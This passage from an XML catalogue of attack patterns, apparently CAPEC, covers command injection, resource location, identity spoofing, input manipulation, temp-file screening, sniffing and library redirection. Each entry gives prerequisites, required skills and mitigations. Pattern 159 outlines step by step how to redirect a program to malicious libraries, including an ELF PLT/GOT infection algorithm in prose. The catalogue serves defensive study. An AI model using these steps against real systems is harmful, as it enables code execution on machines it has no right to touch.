			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker has to identify injection vector, identify the specific
							commands, and optionally collect the output, i.e. from an interactive
							session.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to communicate synchronously or asynchronously with server.
					Optionally, ability to capture output directly through synchronous communication
					or other method such as FTP.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Perform whitelist validation against a positive specification for
						command length, type, and parameters.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Limit program privileges, so if commands circumvent program input
						validation or filter routines then commands do not running under a
						privileged account</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Use type conversions such as JDBC prepared
						statements.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Malicious input delivered through appending delimiters to standard input
				</Text>
			</Injection_Vector>
			<Payload>
				<Text>Command(s) appended to valid parameters to enable attacker to execute commands
					on host</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>146<!--Improper Neutralization of Expression/Command Delimiters--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>77<!--Improper Neutralization of Special Elements used in a Command ('Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>184<!--Incomplete Blacklist--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>78<!--Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>185<!--Incorrect Regular Expression--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>93<!--Improper Neutralization of CRLF Sequences ('CRLF Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>140<!--Improper Neutralization of Delimiters--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>157<!--Failure to Sanitize Paired Delimiters--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>138<!--Improper Neutralization of Special Elements--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>154<!--Improper Neutralization of Variable Name Delimiters--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>6<!--TCP Header--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>248<!--Command Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Paco Hope</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-20</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="150" Name="Common resource location exploration"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits well known locations for resources for the purposes
						of undermining the security of the target. In many, if not most, systems,
						files and resources are organized in the same tree structure. This can be
						useful for attackers because they often know where to look for resources or
						files that are necessary for attacks. Even when the precise location of a
						targeted resource may know be known, naming conventions may indicate a small
						area of the target machine's file tree where the resources are typically
						located. For example, configuration files are normally stored in the /etc
						director on Unix systems. Attackers can take advantage of this to commit
						other types of attacks.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted applications must either expect files to be located at a
						specific location or, if the location of the files can be configured by the
						user, the user either failed to move the files from the default location or
						placed them in a conventional location for files of the given type.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for most variants of this attack. In some
					cases, the attacker need not even have direct access to the locations on the
					target computer where the targeted resources reside.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>154<!--Resource Location Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="151" Name="Identity Spoofing (Impersonation)"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker crafts a message that masquerades as a message from a
						principal other than the actual message sender. This may involve having the
						attacker create content for the purpose of making it appear to originate
						from a legitimate "spoofed" source. Phishing and Pharming attacks often
						attempt to do this so that their attempts to gather sensitive information
						appear to come from a legitimate source. Alternatively, an attacker may
						intercept a message from a legitimate sender and attempt to make it look
						like the message comes from them without changing its content. The latter
						form of this attack can be used to hijack credentials from legitimate users.
						This attack need not be limited to transmitted messages - any resource that
						is associated with an identity (for example, a file with a signature) can be
						the target of an attack where the attacker attempts to change the apparent
						source. This attack differs from Content Spoofing attacks since, in Content
						Spoofing, the attacker does not wish to change the apparent source of the
						message but instead wishes to change what the source appears to say. In an
						Identity Spoofing attack, the attacker is attempting to change the apparent
						source of the content.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The identity associated with the message or resource must be removable or
						modifiable in an undetectable way for the attacker to perform this
						attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resource are required for most variants of this attack.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>156<!--Spoofing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="153" Name="Input Data Manipulation" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a weakness in input validation by controlling the
						format, structure, and composition of data to an input-processing interface.
						By supplying input of a non-standard or unexpected form an attacker can
						advesely impact the security of the target. For example, using a different
						character encoding might cause dangerous text to be treated as safe text.
						Alternatively, the attacker may use certain flags, such as file extensions,
						to make a target application believe that provided data should be handled
						using a certain interpreter when the data is not actually of the appropriate
						type. This can lead to bypassing protection mechanisms, forcing the target
						to use specific components for input processing, or otherwise causing the
						user's data to be handled differently than might otherwise be expected. This
						attack differs from Variable Manipulation in that Variable Manipulation
						attempts to subvert the target's processing through the value of the input
						while Input Data Manipulation seeks to control how the input is
						processed.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must accept user data for processing and the manner in which
						this data is processed must depend on some aspect of the format or flags
						that the attacker can control.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for most variants of this attack.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="154" Name="Resource Location Attacks" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker utilizes discovered or crafted file path information for the
						purpose of locating and exploiting a security sensitive resource. This
						category of attack involves the paths used by an application to store or
						retrieve resources. Specifically, attacks in this category involve
						manipulating the path, causing the application to look in location
						unintended by the application maintainer, or determining the paths through
						prediction or lookup. This differs from File Manipulation attacks in which
						the contents of the files are affected or where the files themselves are
						physically moved. Instead, this attack simply concerns itself with the paths
						used to find or create resources.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>None. All applications rely on file paths and so, in theory, they or their
						resources could be affected by this attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for most variants of this attack.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="155" Name="Screen Temporary Files for Sensitive Information"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits the temporary, insecure storage of information by
						monitoring the content of files used to store temp data during an
						application's routine execution flow. Many applications use temporary files
						to accelerate processing or to provide records of state across multiple
						executions of the application. Sometimes, however, these temporary files may
						end up storing sensitive information. By screening an application's
						temporary files, an attacker might be able to discover such sensitive
						information. For example, web browsers often cache content to accelerate
						subsequent lookups. If the content contains sensitive information then the
						attacker could recover this from the web cache.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must utilize temporary files and must fail to
						adequately secure them against other parties reading them.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>Because some application may have a large number of temporary files and/or
					these temporary files may be very large, an attacker may need tools that help
					them quickly search these files for sensitive information. If the attacker can
					simply copy the files to another location and if the speed of the search is not
					important, the attacker can still perform the attack without any special
					resources.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>223<!--Probabilistic Techniques--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="157" Name="Sniffing Attacks" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker monitors information transmitted between logical or physical
						nodes of a network. The attacker need not be able to prevent reception or
						change content but must simply be able to observe and read the traffic. The
						attacker might precipitate or indirectly influence the content of the
						observed transaction, but the attacker is never the intended recipient of
						the information. Any transmission medium can theoretically be sniffed if the
						attacker can listen to the contents between the sender and recipient.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Any target that transmits readable data could be attacked in this way.
						Cryptographic techniques that render a data-stream unreadable can thwart
						this type of attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to intercept the transmissions containing the data
					of interest. Depending on the medium of transmission and the path the data takes
					between the sender and recipient, the attacker may require special equipment
					and/or require that this equipment be placed in specific locations.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>117<!--Data Interception Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="158" Name="Sniffing Information Sent Over Public/multicast Networks"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker monitoring network traffic between nodes of a public or
						multicast network. The attacker need not be able to prevent reception or
						change content but must simply be able to observe and read the traffic. The
						attacker might precipitate or indirectly influence the content of the
						observed transaction, but the attacker is never the intended recipient of
						the information. This differs from other sniffing attacks in that it is over
						a public network rather via some other communications channel, such as
						radio.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Any target that transmits readable data over a public or multicast network
						could be attacked in this way. Cryptographic techniques that render a
						data-stream unreadable can thwart this type of attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to intercept the transmissions containing the data
					of interest. Depending on the network topology between the recipients, placement
					of listening equipment may be challenging (such as if both the sender and
					recipient are members of a single subnet and therefore the listener must also be
					attached to that subnet.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>157<!--Sniffing Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="159" Name="Redirect Access to Libraries" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits the execution flow of a call to an external library
						to point to an attacker supplied library or code base, allowing the attacker
						to compromise the application or server via the execution of unauthorized
						code. An application typically makes calls to functions that are a part of
						libraries external to the application. These libraries may be part of the
						operating system or they may be third party libraries. If an attacker can
						redirect an application's attempts to access these libraries to other
						libraries that the attacker supplies, the attacker will be able to force the
						targeted application to execute arbitrary code. This is especially dangerous
						if the targeted application has enhanced privileges. Access can be
						redirected through a number of techniques, including the use of symbolic
						links, search path modification, and relative path manipulation.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify target general
											susceptibility</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker uses an automated tool or manually
												finds whether the target application uses
												dynamically linked libraries and the configuration
												file or look up table (such as Procedure Linkage
												Table) which contains the entries for dynamically
												linked libraries.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker uses a tool such as the OSX
												“otool” utility or manually probes whether the
												target application uses dynamically linked
												libraries.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker finds the configuration files
												containing the entries to the dynamically linked
												libraries and modifies the entries to point to the
												malicious libraries the attacker crafted.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The target application uses dynamically
												linked libraries.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>The attacker can redirect or control access
												to files in areas leveraged by the target.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
											<Indicator ID="3" type="Positive">
												<Indicator_Description>
												<Text>The attacker can modify the entries in the
												configuration files to the libraries the attacker
												crafted.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
											<Indicator ID="4" type="Inconclusive">
												<Indicator_Description>
												<Text>The attacker cannot modify the configuration
												files entries. The attacker may still be able to
												redirect access to libraries using other
												techniques such as using symbolic links.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
											<Indicator ID="5" type="Negative">
												<Indicator_Description>
												<Text>The application does not use dynamically
												linked libraries.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker can successfully
												redirect or control access to libraries leveraged
												by the target.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker identifies and
												gains control of the configuration file containing
												entries of a list of dynamically linked libraries
												and be able to modify the entry to point to the
												malicious libraries the attacker
												created.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Restrict the
												permission to modify the entries in the
												configuration file.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Craft malicious
											libraries</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses knowledge gained in the Explore
												phase to craft malicious libraries that he will
												redirect the target to leverage. These malicious
												libraries could have the same APIs as the legitimate
												library and additional malicious code.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker monitors the file operations
												performed by the target application using a tool
												like dtrace or FileMon. And the attacker can delay
												the operations by using “sleep(2)” and “usleep()”
												to prepare the appropriate conditions for the
												attack, or make the application perform expansive
												tasks (large files parsing, etc.) depending on the
												purpose of the application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The entries in the
												configuration file points to the malicious
												libraries he crafted.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Restrict the
												permission to modify the entries in the
												configuration file.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>If possible, use
												obfuscation and other techniques to prevent
												reverse engineering the
												libraries.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Redirect the access to libraries to the
											malicious libraries</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker redirects the target to the malicious
												libraries he crafted in the Experiment phase. The
												attacker will be able to force the targeted
												application to execute arbitrary code when the
												application attempts to access the legitimate
												libraries.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker modifies the entries in the
												configuration files pointing to the malicious
												libraries he crafted.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker leverages symlink/timing issues
												to redirect the target to access the malicious
												libraries he crafted.</Text>
												</Attack_Step_Technique_Description>
												<Leveraged_Attack_Patterns>
												<Leveraged_Attack_Pattern_ID>132</Leveraged_Attack_Pattern_ID>
												</Leveraged_Attack_Patterns>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>The attacker leverages file search path
												order issues to redirect the target to access the
												malicious libraries he crafted.</Text>
												</Attack_Step_Technique_Description>
												<Leveraged_Attack_Patterns>
												<Leveraged_Attack_Pattern_ID>38</Leveraged_Attack_Pattern_ID>
												</Leveraged_Attack_Patterns>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The application is redirected
												to the malicious libraries the attacker crafted
												when the application attempts to call the
												legitimate libraries.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Restrict the
												permission to modify the entries in the
												configuration file.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Check the integrity of
												the dynamically linked libraries before using
												them.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>If possible, use
												obfuscation and other techniques to prevent
												reverse engineering the
												libraries.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must utilize external libraries and must fail to verify the
						integrity of these libraries before using them.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In this example, the attacker using ELF infection that redirects the
							Procedure Linkage Table (PLT) of an executable allowing redirection to
							be resident outside of the infected executable. The algorithm at the
							entry point code is as follows... • mark the text segment writeable •
							save the PLT(GOT) entry • replace the PLT(GOT) entry with the address of
							the new lib call The algorithm in the new library call is as follows...
							• do the payload of the new lib call • restore the original PLT(GOT)
							entry • call the lib call • save the PLT(GOT) entry again (if its
							changed) • replace the PLT(GOT) entry with the address of the new lib
							call </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To modify the entries in the configuration file pointing to malicious
							libraries</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To force symlink and timing issues for redirecting access to
							libraries</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To reverse engineering the libraries and inject malicious code into
							the libraries</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: Restrict the permission to modify the entries in the
						configuration file.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Check the integrity of the dynamically linked libraries
						before use them.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Use obfuscation and other techniques to prevent reverse
						engineering the libraries.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
